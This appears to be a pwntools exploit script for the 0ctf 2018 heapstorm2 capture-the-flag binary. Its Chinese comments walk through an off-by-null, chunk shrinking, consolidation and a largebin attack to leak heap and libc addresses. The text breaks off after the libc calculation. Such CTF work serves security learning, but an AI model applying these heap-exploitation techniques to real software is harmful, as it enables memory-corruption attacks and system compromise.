pause()
except Exception:
io.close()
continue
# encoding=utf-8from pwn import *
from LibcSearcher import *
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
libc_path = "/lib/x86_64-linux-gnu/libc-2.23.so"
elf_path = "./0ctf_2018_heapstorm2"
libc = ELF(libc_path)
elf = ELF(elf_path)
#io = remote("node3.buuoj.cn",26000)if sys.argv[1]=='1':
context(log_level = 'debug',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
elif sys.argv[1]=='0':
context(log_level = 'info',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
#io = process([elf_path],env={"LD_PRELOAD":libc_path})cho='Command: ' # choice提示语
siz='Size: ' # size输入提示语
con='Content: ' # content输入提示语
ind='Index: ' # index输入提示语
edi='' # edit输入提示语
def add(size,c='1'):
sal(cho,c)
sal(siz,str(size))
def free(index,c='3'):
sal(cho,c)
sal(ind,str(index))
def show(index,c='4'):
sal(cho,c)
sal(ind,str(index))
def edit(index,content='',c='2'):
sal(cho,c)
sal(ind,str(index))
sal(siz,str(len(content)))
sa(con,content)
# 获取pie基地址def get_proc_base(p):
proc_base = p.libs()[p._cwd+p.argv[0].strip('.')]
info(hex(proc_base))
# 获取libc基地址 def get_libc_base(p):
libc_base = p.libs()[libc_path]
info(hex(libc_base))
while(1):
try:
# get_proc_base(io)
# get_libc_base(io)
global io
io = process(elf_path)
#io = remote("node3.buuoj.cn",29327)
add(0x18) # 0
add(0x508) # 1
add(0x18) # 2
edit(1,'a'*0x4f0+p64(0x500)) # 设置fake_pre_size
add(0x18) # 3
add(0x508) # 4
add(0x18) # 5
edit(4,'a'*0x4f0+p64(0x500)) # 设置fake_pre_size
add(0x18) # 6
free(1)
edit(0,'a'*(0x18-0xc)) # 对free后的1做off-by-null,造成chunk收缩
add(0x18) # 1
add(0x4d8) # 7 # 将0ff-by-null收缩后的freechunk分两次申请出来
free(1)
free(2) # 触发后向合并:0x508+0x18
# 将合并后大小为0x538的freechunk重新构造成0x38和0x4e8
add(0x38) # 1
add(0x4e8) # 2
free(4)
edit(3,'a'*(0x18-12))
add(0x18) # 4
add(0x4d8) # 8
free(4)
free(5) # 后向合并造出0x530的freechunk
add(0x48) # 4
free(2) # unsortbin: 0x100203060 (size : 0x4f0) <--> 0x1002035c0 (size : 0x4e0)
add(0x4e8) # 2
free(2) # 把0x4f0的放回到unsortedbin
storage = 0x13370800
fake_chunk = storage-0x20
p1 = p64(0)*3+p64(0x4f1)+p64(0)+p64(fake_chunk)
edit(7,p1) # 劫持unsortfbin中chunk的bk指针指向fakechunk
p2 = p64(0)*4+p64(0)+p64(0x4e1)
p2 += p64(0)+p64(fake_chunk+8) # 劫持在largebin中chunk的bk指针避免unlink时崩溃
p2 += p64(0)+p64(fake_chunk-0x18-4) # 劫持在largebin中chunk的bk_nextsize指针
edit(8,p2)
add(0x48) # 2,largebin attack触发,返回我们伪造位置的节点
p3 = p64(0)*5+p64(0x13377331)+p64(storage)#构造show函数的条件
edit(2,p3)
pause()
p4 = p64(0)*3+p64(0x13377331)+p64(storage)+p64(0x1000)+p64(storage-0x20+3)+p64(8)
edit(0,p4) # 重新回写table,改掉对应表项为真实的ptr-size,而非异或后的,同时改那表头四个随机数为0,这样我们在xor的时候返回的就是地址/size真正的值了。
show(1) # 输出我们largebin attack错位写在fakechunk上的地址来那道heap地址
r(11)
heap = u64(r(5).ljust(8,'\x00'))
info("heap:"+hex(heap))
p5 = p64(0)*3+p64(0x13377331)+p64(storage)+p64(0x1000)+p64(heap+0x10)+p64(8) #泄露main_arena
edit(0,p5)
#shell()
show(1)
libc_base = int(u64(ru('\x7f')[-6:].ljust(8,'\x00')))-88-libc.sym['__malloc_hook']-0x10
[培训]传播安全知识、拓宽行业人脉——看雪讲师团队等你加入!
